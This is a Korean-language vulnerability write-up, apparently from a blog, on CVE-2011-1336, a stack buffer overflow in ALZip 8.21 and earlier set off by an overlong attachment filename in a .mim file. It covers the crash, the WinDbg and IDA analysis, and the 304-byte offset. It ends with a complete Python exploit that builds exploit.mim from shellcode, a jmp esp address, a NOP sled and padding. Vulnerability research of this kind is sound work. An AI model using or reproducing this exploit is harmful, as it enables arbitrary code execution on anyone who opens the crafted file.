CVE Details :
https://www.cvedetails.com/cve/CVE-2011-1336/

 

개요

알집 8.21 이하 버전에서 mim파일을 여는 경우 버퍼 오버플로우가 발생.

 

mim파일이란?

Multipurpose Internet Mail Extension files으로 즉 이메일 메세지 파일입니다.

인터넷 상에서 흔히 MIME이라고 불리는 것과 동일한 구조를 가지고 있습니다.

해당 파일에는 이메일 내용과 첨부파일들이 포함되어있습니다.

 

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier

This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain

This is the body of the message.
--frontier
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--
위키 백과 MIME: https://en.wikipedia.org/wiki/MIME

 

위와 같이 MIME형식의 내용을 작성한 뒤, 파일의 확장자를 mim으로 변경하면 알집으로 열 수 있습니다.

sample_mim.mim
0.00MB

 

 

 

취약점 탐색

mime에서 첨부파일을 파일의 이름을 아래와 같은 형식으로  지정할 수 있습니다.

Content-Disposition: attachment; filename=genome.jpeg;
  modification-date="Wed, 12 Feb 1997 16:29:51 -0500";

 

파일이름의 길이가 제한되어있는지 A 500개 가량을 파일이름으로 지정해봅니다.

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier

This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain

This is the body of the message.
--frontier
Content-Disposition: attachment; filename=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jpeg;
Content-Transfer-Encoding: base64

PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--

crash.mim
0.00MB

 

 

파일을 알집으로 실행해보면, crash가 발생하는 것을 확인할 수 있습니다.

 

취약점 분석

알집을 windbg로 실행 한 뒤, crash.mim파일을 열어보면 eip가 41414141로 변조된 것을 볼 수 있습니다.

현재 콜스택이 입력했던 A 들로 덮혀 있기 때문에, 어디서 crash가 발생했는지 확인할 수 없습니다. 

mona pattern_create 500을 이용해서 ret까지의 offset을 구해서 ret까지만 조작해보겠습니다.

(패턴을 이용해서 offset을 구하는 것은 생략하겠습니다.)

pattern.mim
0.01MB

 

확인한 결과 offset은 304였습니다. 따라서 A304개와 B4개를 입력해서 ret을 42424242로 조작한 뒤 콜스택을 보겠습니다.

0x38c7800은 스택의 주소니 제외하면 0x613837b6에서 호출된 것을 볼 수 있습니다.

windbg를 재 실행해 0x613837b6에 브레이크 포인트를 걸고 eip가 42424242로 변조되기 직전의 명령을 확인합니다.

call 61384d70을 수행한 뒤 42424242로 eip가 조작된 것을 보니 call한 함수를 진행하다 오버플로우가 발생하여 ret이 42424242로 덮힌것이라 판단할 수 있습니다.

다시 windbg를 실행하여 0x61384d70에 브레이크 포인트를 걸고 확인합니다.

이번엔 0x613a5a68을 call한 뒤 eip가 변조되었는데 해당 함수 내에서 오버플로우가 발생했다고 생각할 수 있습니다.

61300000 61488000   LibETC     (export symbols)       C:\Program Files (x86)\ESTsoft\ALZip\LibETC.dll

해당 함수를 자세하게 알아보기 위해 IDA를 이용해 해당 주소를 가지고 있는 dll인 LibETC를 열어줍니다.

수행하는 함수들중 StrPCopy라는 함수가 눈에 띄었는데 검색해보니 strcpy과 같은 역할을 하는 함수였습니다.

StrPCopy: 
https://www.freepascal.org/docs-html/rtl/sysutils/strpcopy.html

해당함수는 주어진 string의 크기를 확인하지 않고 null을 만날때 까지 dest에 복사 하기 때문에, 오버플로우가 발생한 것입니다.

더 정확히 알아보기 위해 함수의 인자들을 확인해보겠습니다.

0x268f574 스택주소로 우리가 입력한 파일이름 정보가 복사되는 것을 볼 수 있습니다.

인자를 보면 char *이 dest에 해당되는게 var_12c즉 ebp-0x12c에 저장되는 것을 의미합니다. 0x12c는 300으로 sfp의 4바이트를 추가하면 이전에 구했던 304의 offset이 맞다는 것을 확인할 수 있습니다.

Exploit작성

stack cookie가 존재하지 않고 스택에 execute권한도 있기 때문에 쉘코드를 스택에 올려 jmp esp를 수행하면 됩니다.

!py mona jmp -r esp

mona를 이용해서 jmp esp명령을 찾아줍니다. 이때 null이 없는 주소를 택해야 합니다.

StrPCopy가 null을 만나면 복사를 끝내기 때문입니다.

shellcode = '\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd'

jmpesp = '\x0b\x4c\x33\x61'

nop = '\x90'*16
dummy = 'A'*304

payload = dummy + jmpesp + nop + shellcode
print payload


content = '''MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=frontier

This is a message with multiple parts in MIME format.
--frontier
Content-Type: text/plain

This is the body of the message.
--frontier
Content-Type: APPLICATION/octet-stream;
Content-Disposition: attachment; filename="%s.png"
Content-Transfer-Encoding: base64

PGh0bWw+CiAgPGhlYWQ+CiAgPC9oZWFkPgogIDxib2R5PgogICAgPHA+VGhpcyBpcyB0aGUg
Ym9keSBvZiB0aGUgbWVzc2FnZS48L3A+CiAgPC9ib2R5Pgo8L2h0bWw+Cg==
--frontier--''' % (payload)


f = open('exploit.mim', 'w')

f.write(content)

f.close()

 

 

 

복사했습니다!